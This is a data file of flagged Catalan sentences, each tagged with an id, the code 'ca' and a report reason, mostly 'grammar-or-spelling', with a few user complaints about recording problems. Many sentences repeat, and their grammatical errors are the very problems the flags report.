8d71b01cec379b25ccf601450e496f37e9535845a550979214ed6f9c7d484356 ca grammar-or-spelling El seu pare era grec i treballava de sabaters. 8e2e7762d177fdf1d8f877e201b11e7c2bbfecaf9d9b3d0f38513ba552fbad13 ca grammar-or-spelling El seu pare era grec i treballava de sabaters. 8e2e7762d177fdf1d8f877e201b11e7c2bbfecaf9d9b3d0f38513ba552fbad13 ca grammar-or-spelling Les fotografies resultants- els autocroms- van ser un tot èxit científic, estètic i comercial. 8ec84cb4b5a7721a64795716fa95b11b2a5427fb60907bfbb72d8dc692a6678c ca grammar-or-spelling Aquest primer temple va sobreviure fins a ca. 8f1f3f0a4a0bfbcdd3520f3e8061cfc33a7ae73e9e8e1a6a8b2c4a3a43c936b2 ca grammar-or-spelling Posteriorment tots els estats membres de les successives Comunitats Europees forment part d'aquest organisme. 9063232888b2898ea9e4b0b32894f9db5e8f2a99e57d92d2ad70704cebbc9209 ca grammar-or-spelling La meitat del material és nou i l’altra meitat ja sàvia publicat prèviament. 904bdac31faff14695e1993844d66e4e5a09c4fd7d03cbedbaef9646e0a9461a ca grammar-or-spelling Posseeix un vestíbul d'importants dimensions cobert per uns llargs claraboia amb forma de piràmide. 906de6b59976ccd7f8c5f03d87d123f4eeeb2bc6b6c21812390f20af158bb613 ca grammar-or-spelling La meitat del material és nou i l’altra meitat ja sàvia publicat prèviament. 904bdac31faff14695e1993844d66e4e5a09c4fd7d03cbedbaef9646e0a9461a ca grammar-or-spelling També s consumeix a diverses parts d'Àsia i les Maldives. 9167da8ec91022a6ac75e1bcbaaf9c760073015b70dd74d93aa650d6ed4df5be ca grammar-or-spelling Amic d'humanistes i humanista ell mateix, fou una figura destacada en el món cultura. 91dc3fdfc4242fbba25e4a422bd962b8dce623c6cdb9484839573558aaa31d39 ca grammar-or-spelling Edifici de caràcter civil realitzat amb pedra, fusta i totxo. 929d7f54d837abc9579c94db4b1d4dcd888dc8ecf5635cb8e5c817794db733f6 ca No funciona la gravadora Haurien tingut cert poder local fins al quan van arribar els almoràvits. 92e9130fbb4d781a6eb4fc1912ed23e7c9c391758c3ad76c11ad4fa7855156f4 ca grammar-or-spelling Casses bessones de planta baixa i dues plantes amb coberta plana. 93be63263162e856c7d9d46691ba0558775cb97009d352a7eb499795e7c07da4 ca grammar-or-spelling Tot i això, la seva especialitat sempre va dedicar-se més al cinema de ficció. 93e9c3e94c2633ead9759cc9bb39a5bee6938b91dcf710d7a4f8bac1dce5b8d8 ca grammar-or-spelling Així doncs, les casses estaven ben equipades per resistir els durs hiverns a la Cerdanya. 9405f1de4526734ce5679f33a93ed6ac0586390ba675851efbb72938b7c94409 ca grammar-or-spelling Així doncs, les casses estaven ben equipades per resistir els durs hiverns a la Cerdanya. 9405f1de4526734ce5679f33a93ed6ac0586390ba675851efbb72938b7c94409 ca grammar-or-spelling L'agència compta amb un edifici propi, heretat de l'època soviètica vegades. 94cf6ea66828b34332fbfe93f35bac1acc7716698d9014ecb6763eb99882f0ba ca grammar-or-spelling Ja que els reactius formen productes i aquests formen reactius a la vegada. 94b78b7bdf8aa7b9917d847c4cc759e4611971ab7e606774dad5648891e13355 ca grammar-or-spelling Ambdós cossos realitzaren de nou maniobres conjuntes l'any següent, però aquest com a Hawaii. 94dc37440bd31759b57c6d2466518cc052a7763fd135f2369675fdecf5a46237 ca grammar-or-spelling Es podria dir que és una espècie de petanca que es jugava en el gel. 94cb692c17a0d7761e52078d57f333ff7fcf0447a9d12041a268c14aae7f74fe ca grammar-or-spelling Es podria dir que és una espècie de petanca que es jugava en el gel. 94cb692c17a0d7761e52078d57f333ff7fcf0447a9d12041a268c14aae7f74fe ca Serà al gel, no en el gel!!!! Que és la funció de transferència dels passaalt de segon orde. 94eded6c94619615bf67c5197d13c5f4d0669e3aa3786c161b3df0f844230cc9 ca grammar-or-spelling Els drets eren atorgats normalment atorgats pel rei amb l'ocasió de l'arribada d'immigrants. 95473d26f503ec165c00ef55b4cb553af50f41dc597ec9389ac24ea27e33b628 ca grammar-or-spelling També l'acoblament magnètic es veu afectat, si hi ha electrons desaparèixer en el sistema. 94701c8d23c4798dd8b3853a18b7bca4355bde3b0c4c253e3c15efd176dd1e87 ca grammar-or-spelling També l'acoblament magnètic es veu afectat, si hi ha electrons desaparèixer en el sistema. 94701c8d23c4798dd8b3853a18b7bca4355bde3b0c4c253e3c15efd176dd1e87 ca grammar-or-spelling Ha compost diverses sardines i una suite per a cobla. 95bc440e55fdfaa0c3050101eeeef051d6f29e881f5232e2e496171ab69de0fb ca grammar-or-spelling Les parets d'aquesta capella i estan arrebossades en alguns llocs. 95cca26cf3eeb887315164239d959b87732c41d218e529866c837f8fc6682758 ca grammar-or-spelling Va lliurar llavors un muntatge de quatre hores que van ser reduïts a dos. 95b0623b6832f85626d172a74b1b3ca402a2bb040c086820921a9f268f11be48 ca grammar-or-spelling La llei prohibeix que el govern de l'acceptació de serveis gratuïts de ningú. 9657382bceea41a74bedb093946347d7a008ed47c706458ab138c985642c6fbc ca grammar-or-spelling Es va trobar que les torres grua llançades al riu. 96141d5b70c700449a92778c673019e4d4e9fab0a87e0ed582947dfad5fbfd5e ca grammar-or-spelling Les parets d'aquesta capella i estan arrebossades en alguns llocs. 95cca26cf3eeb887315164239d959b87732c41d218e529866c837f8fc6682758 ca grammar-or-spelling La llei prohibeix que el govern de l'acceptació de serveis gratuïts de ningú. 9657382bceea41a74bedb093946347d7a008ed47c706458ab138c985642c6fbc ca grammar-or-spelling Es va trobar que les torres grua llançades al riu. 96141d5b70c700449a92778c673019e4d4e9fab0a87e0ed582947dfad5fbfd5e ca grammar-or-spelling Durant el la situació dels grecs cristians va millorar i es va restablir l'educació. 964956119e0b694f650a36da1e2eaa693cff4c5cafdad28e28b76bd249d38457 ca grammar-or-spelling La llei prohibeix que el govern de l'acceptació de serveis gratuïts de ningú. 9657382bceea41a74bedb093946347d7a008ed47c706458ab138c985642c6fbc ca grammar-or-spelling També ha treballat Gabinet Tècnic de l'Ajuntament de Barcelona. 96f4fd428a86ca417b90100f26686dac8a44d6b2f637121bae6bb1ddf8b2149e ca grammar-or-spelling També ha treballat Gabinet Tècnic de l'Ajuntament de Barcelona. 96f4fd428a86ca417b90100f26686dac8a44d6b2f637121bae6bb1ddf8b2149e ca grammar-or-spelling D'acord amb aquest pla, els exploradors seria establir primer una petita base a la superfície. 970d03483cd9f3167ed58e49c97280a753bacdf47197b82814d315eb7867762f ca grammar-or-spelling D'acord amb aquest pla, els exploradors seria establir primer una petita base a la superfície. 970d03483cd9f3167ed58e49c97280a753bacdf47197b82814d315eb7867762f ca grammar-or-spelling En aquest sentit elabora ser, independentment de les característiques momentànies, futures i casuals. 97478d65f34f202a014fdbe4399d9f0cc9304b73e65b7a01ebb7d623ad03ce2b ca grammar-or-spelling Els que va poder salvar-se fugiren a Concepción i vers Angol. 978095596e07e70ecc96a71a9a8bb146930b8f72481f32eca77da5ccdd2209a7 ca grammar-or-spelling Durant el la situació dels grecs cristians va millorar i es va restablir l'educació. 964956119e0b694f650a36da1e2eaa693cff4c5cafdad28e28b76bd249d38457 ca grammar-or-spelling Aquest relat ha tret d'una història verdadera. 982444846604e97a4435503106d780f2ed04fe52b4433054f4b4d383eaa015d8 ca grammar-or-spelling Es torba enmig d'un bosc de carrasques. 97ebb59eabd3840b93ff11a15229275748641a3be366d8cb1e4fedb563e6766c ca grammar-or-spelling Les antigues portes del casal, avui mig soterrades, s'obren ver aquest antic camí. 9812c971fea512be5cf33d0b46b1ffa3259faff9044c1725c2c7617a4cdead67 ca grammar-or-spelling Es torba enmig d'un bosc de carrasques. 97ebb59eabd3840b93ff11a15229275748641a3be366d8cb1e4fedb563e6766c ca grammar-or-spelling Ja coneguda en com el gran vidre. 9801fd0e3c5bacf597fa8a669ffda4379463f3f1fa5cb022d0333f09bbb8e97d ca grammar-or-spelling Durant el la situació dels grecs cristians va millorar i es va restablir l'educació. 964956119e0b694f650a36da1e2eaa693cff4c5cafdad28e28b76bd249d38457 ca grammar-or-spelling Sociòlegs d'arrel catòlica teoria van arribar a les mateixes conclusions. 98cc71cd7a22c9737a27eeb17d7e787ff44b5bca64a85d2c0629486bc5408e0f ca grammar-or-spelling Aquestes atribucions es pot trobar a les citacions individuals de cada arquebisbe. 9939ef5b08a5b473b1c4f068ce867a0d9c2238a03cc115a9e0110f58e156efbf ca grammar-or-spelling Sociòlegs d'arrel catòlica teoria van arribar a les mateixes conclusions. 98cc71cd7a22c9737a27eeb17d7e787ff44b5bca64a85d2c0629486bc5408e0f ca grammar-or-spelling Les restes d'aquestes muralles es conserven principalment en el part septentrional. 9985e823a3764144aebc4422e4c6258b129383b2ff383571450bb57df31b9a9d ca grammar-or-spelling Durant el la situació dels grecs cristians va millorar i es va restablir l'educació. 964956119e0b694f650a36da1e2eaa693cff4c5cafdad28e28b76bd249d38457 ca grammar-or-spelling Creiem que més aviat es tracta de dovelles aplicades a noves construcció. 9a14b068c58bf286f1d4a92a6acccd57e72ed5967d36f2f0d19660415a397f94 ca grammar-or-spelling Durant el la situació dels grecs cristians va millorar i es va restablir l'educació. 964956119e0b694f650a36da1e2eaa693cff4c5cafdad28e28b76bd249d38457 ca grammar-or-spelling És el més gran desfilada d'aquest tipus a tot el món. 99d20ab60ad881e7abc61777ca8623a4fc916b2b84ccc6badbe9b7cb55e45a7f ca grammar-or-spelling Creiem que més aviat es tracta de dovelles aplicades a noves construcció. 9a14b068c58bf286f1d4a92a6acccd57e72ed5967d36f2f0d19660415a397f94 ca grammar-or-spelling No queden restes de temple mortuori, Avinguda o temple de la vall. 9a4678b16a23b92861a89447b7211f57fc171121e4906e0009d4406d39ef4555 ca grammar-or-spelling El seu ús permet que la cervesa pugui distribuir a grans sectors de la població. 9ad97744685e1e4ba843721bcdd6aaea7a6d3189ce1c94d0a1331b2dc55e2333 ca grammar-or-spelling És un peix marí i de clima temperat que viu entre m de fondària. 9abe15751508c584d6ae7483c7f5fa61151793e8dc25f363aa291fbd65e731ac ca grammar-or-spelling De les habitades de Cap Verd, est és la més petita en superfície. 9af36f0d79eee414ae6085b7229fa597b9bf6228704d34a79b63777e9a1b4b0b ca grammar-or-spelling De les habitades de Cap Verd, est és la més petita en superfície. 9af36f0d79eee414ae6085b7229fa597b9bf6228704d34a79b63777e9a1b4b0b ca grammar-or-spelling En la versió que portava acompanyada pensió en la cinta apareixia una franja blanca longitudinal. 9bc9f89b0594bdd9f45c30b2126b752f39bfc9cf198cf8b33951a10c96357d99 ca grammar-or-spelling De les habitades de Cap Verd, est és la més petita en superfície. 9af36f0d79eee414ae6085b7229fa597b9bf6228704d34a79b63777e9a1b4b0b ca grammar-or-spelling La utilització de la defensa persona s'ha d'aplicar únicament com a últim recurs. 9bedecffdeee7fd28dfdf4333b2abd3eccd0e3f2b803daf2f6eff4ff0c0ba934 ca grammar-or-spelling De les habitades de Cap Verd, est és la més petita en superfície. 9af36f0d79eee414ae6085b7229fa597b9bf6228704d34a79b63777e9a1b4b0b ca grammar-or-spelling Marc Jacobs va néixer a una família jueva a la ciutat de Nova York. 9ace21dee5aa46822ad81b68f56bf5ebe38e8ee2bab451858cdd99a3a1c7bd68 ca grammar-or-spelling La utilització de la defensa persona s'ha d'aplicar únicament com a últim recurs. 9bedecffdeee7fd28dfdf4333b2abd3eccd0e3f2b803daf2f6eff4ff0c0ba934 ca grammar-or-spelling Aleta caudal de truncada a lleugerament arrodonida. 9b9673fbe8253adc7edb0e7410f2039cad3b75f8ff43f011caa8dfbd3e79f2d4 ca grammar-or-spelling Aproximadament fins a mitjan sota de la cascada hi havia flora i fauna. 9b66ea09c2ad4b988df88f2e227ce17c042ebc5ac19b0f176de0fb736a63a199 ca grammar-or-spelling La feina ha estat citada per com a antecedent possible a George Orwell Granja Animal. 9bd2bd84d4968a443fa62c4358ee2f5c45d0beedac5f248e6a71b39b5884d761 ca grammar-or-spelling Barr. 9c1524610ba96f90460bb9733c11f78db4fefafdc791531fc837bafd8200d05e ca grammar-or-spelling La utilització de la defensa persona s'ha d'aplicar únicament com a últim recurs. 9bedecffdeee7fd28dfdf4333b2abd3eccd0e3f2b803daf2f6eff4ff0c0ba934 ca grammar-or-spelling La feina ha estat citada per com a antecedent possible a George Orwell Granja Animal. 9bd2bd84d4968a443fa62c4358ee2f5c45d0beedac5f248e6a71b39b5884d761 ca grammar-or-spelling És un peix marí i de clima temperat que viu entre m de fondària. 9abe15751508c584d6ae7483c7f5fa61151793e8dc25f363aa291fbd65e731ac ca grammar-or-spelling La feina ha estat citada per com a antecedent possible a George Orwell Granja Animal. 9bd2bd84d4968a443fa62c4358ee2f5c45d0beedac5f248e6a71b39b5884d761 ca grammar-or-spelling L'església de Sant Marcel de Flaçà, del i d'estil romànic, és un monument històric protegit. 9b6f4cd080c6dd8ccc4852f5498d0a45c2a5507241c76a2c44efe4fe099ec527 ca grammar-or-spelling La utilització de la defensa persona s'ha d'aplicar únicament com a últim recurs. 9bedecffdeee7fd28dfdf4333b2abd3eccd0e3f2b803daf2f6eff4ff0c0ba934 ca grammar-or-spelling La favorable localització geogràfica del Líban, evitar els conflictes tribals i religiosos. 9d28119a486629583deb2b3aafea66d7f736756e0537e88e9e1d5e6966e2bb45 ca grammar-or-spelling El pronòstic depèn del trastorn, els factors associats individuals i nombroses. 9d354eac1f9cf030dad600bc076610b7800b90d8752610dc039a45f54f9eb7a8 ca grammar-or-spelling Aquesta nit, després que la parella decideixi començar una família junts, Vanessa. 9d9d42a4e6c4385c1da41eb6f1c44c001a9b8a090a47e4ef6ea901a36d0e0bf1 ca grammar-or-spelling En la família d'editors de text vi, l'escapada és usada per canviar de mode. 9df23998fd6c450a7c08592be12831e4f750bee27d26da16e157b9506e79bff7 ca grammar-or-spelling Foix i passa per la plaça Reina Maria Cristina. 9eb1082dbad88b112a62a9fe09206ebab9fb5193a65e699dd9eee8f8f240bb61 ca grammar-or-spelling Cal distingir, por tant, la memòria personal de la memòria cultural. 9eba3cbbceae29691b81bdf51c7db0d0ab51b196b733fc1998c44ccc6be936b7 ca grammar-or-spelling Caterina de Mèdici aconseguí desbaratar la conspiració i Francesc fou arrestar. a0a2be3dc67fb07ca9de20faf5f3b416429ee99c89ea17acfe70b56a482b187c ca grammar-or-spelling Tingué un breu curta vida com a actor, principalment com a actor secundari. a0b69e3381a1a5c8f99eee0ffc96c376ebe5aa28fad0d3b85e2dbebb1471e8e9 ca grammar-or-spelling Les llums dels fanals atreuen i desorienten aquestes papallones durant la nit. a099741ecbb621e97939fb094ee71f8e1ba96be86544303788314764dae304d9 ca grammar-or-spelling Durant dècades les tribus han establit llurs propis requisits per a ser-ne membres. a08ce916e4124b6efcb04e8de87f74a867e94c820023267c4d3dc9cfef4737d5 ca grammar-or-spelling Hi han poblacions aïllades que es troben més al sud. a1514008ba5494588652158c4a75f38872cda8ef66c02da1918ff6417ef027d5 ca grammar-or-spelling Caterina de Mèdici aconseguí desbaratar la conspiració i Francesc fou arrestar. a0a2be3dc67fb07ca9de20faf5f3b416429ee99c89ea17acfe70b56a482b187c ca grammar-or-spelling Durant el seu regnat ca passar un temps considerable a la cort timúrida a Herat. a13ee8417b9fdd64b8ce6dd713612eac7ae2a92aa981f831766627f19267cbdb ca grammar-or-spelling Moltes de les cascades genètiques desenvolupament estan catalogades en gran detall, especialment en la drosòfila. a1f0fcb2f806d794235016553aacd3c5a8e63fa7df97a703593feaac94cce37e ca grammar-or-spelling Durant el seu regnat ca passar un temps considerable a la cort timúrida a Herat. a13ee8417b9fdd64b8ce6dd713612eac7ae2a92aa981f831766627f19267cbdb ca grammar-or-spelling Va reunir un sínode diocesà per reforma l'església urgellenca i millorar els seus costums. a19d1f6ea21df37fe72e0dab0693ce9773af0bd9f581e63e121e5c318a482d04 ca grammar-or-spelling Si dura defoliació més temps, l'arbre mor. a283c1fa849d79086e3035a8d9c06b9911166ae241ed19a2052010f7e8b06d41 ca grammar-or-spelling Aquesta vas decorada amb un registre seriat en forma de motius florals. a2c61f5d2a2108be10919e1d2b33b1edd8e30aeb4a4e63e37413c7f0f1fddd28 ca grammar-or-spelling Aquesta vas decorada amb un registre seriat en forma de motius florals. a2c61f5d2a2108be10919e1d2b33b1edd8e30aeb4a4e63e37413c7f0f1fddd28 ca grammar-or-spelling Mercer és la filla de director de fons d'inversió Robert Mercer. a369baf2c00c71db8cc1ef78e33346a537ca28f59cac9a2c38d0fb4c2702929d ca grammar-or-spelling La història als primers tems és de tradició verbal i llegendària. a36cd92ca0681fb892d0b8a7129ceb10183bee25039722a1f808ab80550af9bc ca grammar-or-spelling Estan enretirades respecte d'alineació del carrer i tenen jardí al davant. a39145cd6bc8be5bdd025c7d60589e88627c6dcd69e272736b588a1388ee2aa8 ca grammar-or-spelling Finalment, es va trobar que el cinquè postulat rea independent dels primers quatre. a2dec26e3637a20d6ac3283c6c4a772b20bfe64c688f640de322bd9047693c6a ca grammar-or-spelling Aquest terme s'utilitza principal per a les roques ígnies. a3a5266a4582604999a16cd4490ec1382d1de92953ec8f206c173990a8fc7e99 ca grammar-or-spelling En el pol nord, un observador veuria l'estrela polar en el zenit. a35111dbde59177aed92018c722b6289296a53c43855f619311cda0a68adab23 ca grammar-or-spelling Aquesta ciutat és esmentada fins a la meitat del i després desapareix. a3bec77abe16515c8affcf5dcb422d5a69755df3c00c769d8ae40c98a79f0af7 ca Manca una data En el pol nord, un observador veuria l'estrela polar en el zenit. a35111dbde59177aed92018c722b6289296a53c43855f619311cda0a68adab23 ca grammar-or-spelling En ell s'hi van formar actor com Joan Miralles o el director Lluís Pasqual. a3bf97adc9ae764cd79ca99de15ae8b7a1e388e6a0ffea026513b77ab1b123f4 ca grammar-or-spelling En ell s'hi van formar actor com Joan Miralles o el director Lluís Pasqual. a3bf97adc9ae764cd79ca99de15ae8b7a1e388e6a0ffea026513b77ab1b123f4 ca grammar-or-spelling Té planta baix ai dos pisos. a465fa0697a06f157805b3e420106cbc92238e1bc5ac99110737604803f0bbbf ca grammar-or-spelling I sobre aquesta sentència la porta de la saleta es va tomar a tancar. a45e57799263959396447389441f3a80319374423d762097cb309362ab027f80 ca grammar-or-spelling La seva datació seria del o una mica anterior. a47c55ebaa87cdf4b31ffb8f130ed502601a74618481bd161436273d280ddc6c ca grammar-or-spelling I sobre aquesta sentència la porta de la saleta es va tomar a tancar. a45e57799263959396447389441f3a80319374423d762097cb309362ab027f80 ca grammar-or-spelling Durant Segona Guerra Mundial, va servir en el Cos d'Aire de l'Exèrcit. a4f0d5463f783053e92606241b3b9f7a2185b66b1c9cdc271388fcf4e1558ed9 ca Manca un article Sembla, però, què els problemes es van concentrar només a Luanda. a4cf2b419304d587dd24e10a1547808e42a3352aaf040a5e14bbc2fb6f97d2b9 ca grammar-or-spelling I sobre aquesta sentència la porta de la saleta es va tomar a tancar. a45e57799263959396447389441f3a80319374423d762097cb309362ab027f80 ca grammar-or-spelling Durant Segona Guerra Mundial, va servir en el Cos d'Aire de l'Exèrcit. a4f0d5463f783053e92606241b3b9f7a2185b66b1c9cdc271388fcf4e1558ed9 ca grammar-or-spelling Formats per una plataforma d'esculls l'alçada la marea baixa. a4b3dbac49f3c66d2b7b90c6f8f8def1ccf60018805b5ea00e6ef5730e5704d3 ca grammar-or-spelling Formats per una plataforma d'esculls l'alçada la marea baixa. a4b3dbac49f3c66d2b7b90c6f8f8def1ccf60018805b5ea00e6ef5730e5704d3 ca grammar-or-spelling La història als primers tems és de tradició verbal i llegendària. a36cd92ca0681fb892d0b8a7129ceb10183bee25039722a1f808ab80550af9bc ca grammar-or-spelling Ha estat directora dels cursos de postgrau de Disseny Editorial per al Fondo Social Europeu. a505662005922755c63d0d9cc994d420e5dc67a96c4fcac2bc95f5aa9cb96d89 ca grammar-or-spelling No podien protegir la població, ni recaptar imposts, ni mantenir un exercit fidel i estable. a58d7f2bad55138a1359d6384a9f5ad7c14bd7eb5b058692ac52cb451e7c3b85 ca grammar-or-spelling Durant Segona Guerra Mundial, va servir en el Cos d'Aire de l'Exèrcit. a4f0d5463f783053e92606241b3b9f7a2185b66b1c9cdc271388fcf4e1558ed9 ca grammar-or-spelling Inicialment aquest el nou ramal de mercaderies hauria d'acabar a Celrà. a5a10d169da1c42e0d03068dec418aa899d46d6aa7f88dd812033e2791526181 ca grammar-or-spelling N'hi ha diverses subespècies reconegudes. a585372feb47fe50d1e52ac795f796f81db9ff3c42a87895756fa0b5bf87d10f ca grammar-or-spelling Tres estaven representació d'Europa i un d'Àfrica, Àsia, Amèrica i Oceania. a55ea1ae8acac42589a31e2e49989258b1a58bb0706fd1efb0ecbb6c7e86b996 ca grammar-or-spelling El vell Constantí això hauria de ser un garant amb la seva experiència. a5e4df5cb17e5a12420bbe3370f6d5a89bc34430efc8c08791fd3913331f61b6 ca grammar-or-spelling Fou substituïda el per la nova església parroquial de Santa Maria. a61211c05958634404094328cfb67e04f53f502226b7590f53884d2565181037 ca Sobre un article L'invent va funcionar tan ben que l'ou ni tan sols va començar a cuinar-se. a5eada9e245c69553dc8f760a06e057f6b84cfb6e2b8fc6ba8d0935dcdf74ea7 ca grammar-or-spelling Als territoris que conquerits se li imposaven els usatges. a66fc681137f842ea8c1820ec37ff13ba8c83348fa3cdec499d63d4296718ebb ca grammar-or-spelling Hi ha moltes illes a aquest llac. a74333f83daa8068ed2e686059b0e5b48bdc2fb4e0aa7c5fd360b8ac9b02c59d ca grammar-or-spelling Hi havia un petit monument ben embellit en una paret ca. a70e1a20a8fef2869b920b23f481387d4450e4486437a6da1c4cf2da816a8889 ca grammar-or-spelling Aquests i altres tàctiques l'han portat a diversos litigis contra amb empreses i governs. a80cb8c32079f034c752ffd5e7a3533bbb4c3efcf7d5118397c12a9c1a05f0fe ca grammar-or-spelling Renúncia, per solidaritat amb el director, després d'una destitució controvertida. a7febe9290bf2e333b5e11d4b70a012246abdc5bf69c5e9360789a685d52b575 ca grammar-or-spelling Es relaciona directament amb l'escala mel, però és menys populars. a7e9902891cebe78fec49b50297b9422a5123d29d742f28d6a1ece912ba172c5 ca grammar-or-spelling Composicions Les seves obres originals es presenten a Europa, Àsia i les Amèriques. a7f1ae3397d091a4f022f1f6edc03ca9ae3cc6720c249d5e2a940f88c15cd136 ca grammar-or-spelling Va estudiar a la Universitat d'Alep, on va obtenir es va graduar en dret. a7b181359af239d47406c36cde2918878b2da529e275da537ac68a4d92780c12 ca grammar-or-spelling Llindes renovades formant arc rebaixat de pedra amb escopidors motllurat de pedra, també renovats. a8f4254b487a2ec80846b3865ece760f26450b61c72b7f87c746c8aff258460e ca grammar-or-spelling En canvi, l'acceleració és la quantitat de canvi de la velocitat al llarg del temps. a903ecb4b3053752ebd4e6e7eb29769fb2c933dcfadecb681ec890c9ea66bcd9 ca problemes amb el micròfon quan tornes de veure la quantitat de talls fets. Passa amb la tauleta no pas al pc. És una ciutat rica en recursos naturals i històrics. a9267b923470b9504c17e6202e43151a0b04075ed015de2f0c047c8e1a07915e ca grammar-or-spelling La formació política va ser allunyant-se gradualment de la seva original tendència populista. a889552ea3c67357f4a3b6b54ea834175eac21e2d1126246fde305f2c8f5439e ca grammar-or-spelling Aquest pla utilitza coordenades octaves que no satisfà la propietat associativa. a925d46ae4d26841942f7ac5fe7384ff45d6550a79574bd92890ca09b0131d39 ca grammar-or-spelling Al Sant Esteve alberga l'òrgan d'església més gran del món. a8ffdc09290934fed4868f0c8957d64fce56d701946c821a53cb66376ab72473 ca grammar-or-spelling La iniciativa va sorgir de la Federació Central d'Escacs Alemanya. a8e0cc169e061b72a3b96e86bba9398a5bb1b8875006e5b9872ac2a68e207931 ca grammar-or-spelling Un dels avantatges és que els abatis pot ser improvisats ràpidament en àrees arbrades. a9b9b4348adceaaf13b87e568dbaa20b5912477040bbc74543236243b123aae8 ca grammar-or-spelling Aquella temporada aconseguí encara dues victòries més: al i al del País Valencià. aa06180e9ba30553414dd375f6421ba6a543b0f4121f461d9633273548de6b04 ca grammar-or-spelling Inicialment va realitzar pintura d'arrel realista. aab7b05270216f407fe2f2c1b63044b916639f91c5b60110050fbec86b9e766c ca grammar-or-spelling Aquesta espècie es troba a la zona mediterrània. aa409fed28f6df51011c7d01f41b8c9483e77147ef14a903c2af6f61a08a4b42 ca grammar-or-spelling La façana està composta per dos cossos. a911e3b0a14dafbc739ff5b452e347b43566909fdd51caf7d65f975ac12a8008 ca grammar-or-spelling Posseeix un clima que beneficia per al cultiu. aa8d9a87ba6c63a95b8df585628c8aee664cac561c46cdbcfc08155b49a6b61d ca grammar-or-spelling S'executaven solament amb llaüt. aaa1c0206e1f7089a5c7844193288eb4d7d7f4dda613d530b98bc9070c17dc48 ca grammar-or-spelling L'edifici fou declarat monument històric per l'Institut Nacional d'Antropologia i Història mexicà. aaaca9db5714d265b2472db94e6bb0e5462f12669c8325870130a88c2da4e3eb ca grammar-or-spelling Curiosament, a la Copa varen estar a punt de donar una sorpresa majúscula. aae8b8e86aa12da1fca04e2d76ad3d01188a1a09583ebaae2cd0263e66dbc6e1 ca grammar-or-spelling Cèsar el va enviar l'any a Hispània contra els pompeians. aad7e6f6606990ab4f657f614f56ed464ab0ccd8790eea3b38dc109e11cf62a4 ca grammar-or-spelling Aquella temporada aconseguí encara dues victòries més: al i al del País Valencià. aa06180e9ba30553414dd375f6421ba6a543b0f4121f461d9633273548de6b04 ca grammar-or-spelling Curiosament, a la Copa varen estar a punt de donar una sorpresa majúscula. aae8b8e86aa12da1fca04e2d76ad3d01188a1a09583ebaae2cd0263e66dbc6e1 ca grammar-or-spelling Tenia un altre parell d'apèndixs aplanats com a paletes situats darrere que usava nedar. ab2f88fa2df2c8997d79a3a5979b2cb3c9ffd4f960d2a7bb0a6975bb75729c63 ca grammar-or-spelling L'estadi  fou dissenyat amb possibilitats d'expansió, dissenyant els per augmentar la capacitat si era necessari. ab8f3e039eed90989b211bfc1ce268bb70113d3a24dca1a73c6761b5b5858f4c ca grammar-or-spelling Aquell mateix any, Berenguer Ramon de Montcada confià la custòdia del castell a Ramon Mir. ac153b640bd4a3f4b354acab266f5f916736c076a1ba9c0f0a6bac020ae948e4 ca grammar-or-spelling Al pòrtic i correspon una terrassa amb barana balustrada i pilar intercalats. ac26ada02a1c15021688e893faa6dd2366805cf329bd5f0a7ae90df9492c9e6c ca grammar-or-spelling Aquest estat ha estat poblat al llarg de la seva històrica majoritàriament per armenis. a9e050f5f600d24dbcf4c168586f428dd78eec9bcdaddf9b2762394f74262cc9 ca grammar-or-spelling La cinta es pot canviar per una corbata, una corbata texana o simplement arcs. ac207dcc757cbb7f4f7043a80ba6253b97828231053f7af4e527d2c03fc6f0a1 ca grammar-or-spelling Un estudi d'Anderson et al. ac6667c62b9d00a8e660fba386db6a49319c68648c4bd62d8f816cdeee88ad7f ca grammar-or-spelling No sé sap des de quan existeixen les salines de Vilanova de la Sal. ad0bd642f2f7af85d9d358938b00415e1ee923048198562df962cd7c3fe162be ca grammar-or-spelling La font gairebé única sobre aquest pintor es Plini el Vell. ac86977d99aef4e968257edfc2b517645c0dcb99b0a9d7107fc99599103abca2 ca grammar-or-spelling A partir del i al s'hi va introduir el cristianisme. ad11378d0d8992b1c35346c992856c0368dea9f568dbbb7f21b980774427868b ca grammar-or-spelling El maquillatge avantguardista també és una tècnica aplicable que s'empra per projectes exigeixen temàtiques experimentals. ac60f41584fbc5265c6b96611e9ecd5a6d3bdfe45dcbccd8ad292d5cfd5b8e0e ca grammar-or-spelling A partir del i al s'hi va introduir el cristianisme. ad11378d0d8992b1c35346c992856c0368dea9f568dbbb7f21b980774427868b ca grammar-or-spelling Aquest va ser el mateix any en què Bell patentar el telèfon. ad55c79af52ff6a9b136573d0fb0cd33d92a7b7989c472a547d974876a0c0d54 ca grammar-or-spelling Aquest va ser el mateix any en què Bell patentar el telèfon. ad55c79af52ff6a9b136573d0fb0cd33d92a7b7989c472a547d974876a0c0d54 ca grammar-or-spelling A partir del i al s'hi va introduir el cristianisme. ad11378d0d8992b1c35346c992856c0368dea9f568dbbb7f21b980774427868b ca grammar-or-spelling Apareixen zèfirs voladors un una dansa enlluernadora. ad410b4c5950b391f26c26781dbf24df3b4504829d2f0e7431b196dd74c911c2 ca grammar-or-spelling Es troba només a l'est dels Andes, en Santa Creu, Bolívia. ad7d4da78d2e0bcba3c93d1e79fb67c060d4f908a2ab4ea25772e357d70cb74d ca grammar-or-spelling Aquest va ser el mateix any en què Bell patentar el telèfon. ad55c79af52ff6a9b136573d0fb0cd33d92a7b7989c472a547d974876a0c0d54 ca grammar-or-spelling El maquillatge avantguardista també és una tècnica aplicable que s'empra per projectes exigeixen temàtiques experimentals. ac60f41584fbc5265c6b96611e9ecd5a6d3bdfe45dcbccd8ad292d5cfd5b8e0e ca grammar-or-spelling L'enciam es pot patir plagues d'insectes, i malalties fúngiques i bacterianes. acc774551b8abd20f8997b96a1b4aea2b24ceecec224a7bb670c8776ba24c8d8 ca grammar-or-spelling L'enciam es pot patir plagues d'insectes, i malalties fúngiques i bacterianes. acc774551b8abd20f8997b96a1b4aea2b24ceecec224a7bb670c8776ba24c8d8 ca grammar-or-spelling A partir del i al s'hi va introduir el cristianisme. ad11378d0d8992b1c35346c992856c0368dea9f568dbbb7f21b980774427868b ca grammar-or-spelling Aquest va ser el mateix any en què Bell patentar el telèfon. ad55c79af52ff6a9b136573d0fb0cd33d92a7b7989c472a547d974876a0c0d54 ca grammar-or-spelling Un exemplar vell sofreix cataractes i es torna més lent. ae7ae287e225b1fca62e675ef44be120324046fa8bae3d5a4d361bbe0c6e5a02 ca grammar-or-spelling En Oceania, la cançó va tenir una gran recepció. ae6ff62ab5da37bcc3c2fede189d5a142712213d1124f250a6c00cee272eddc3 ca grammar-or-spelling La majoria de pa població són romanesos. 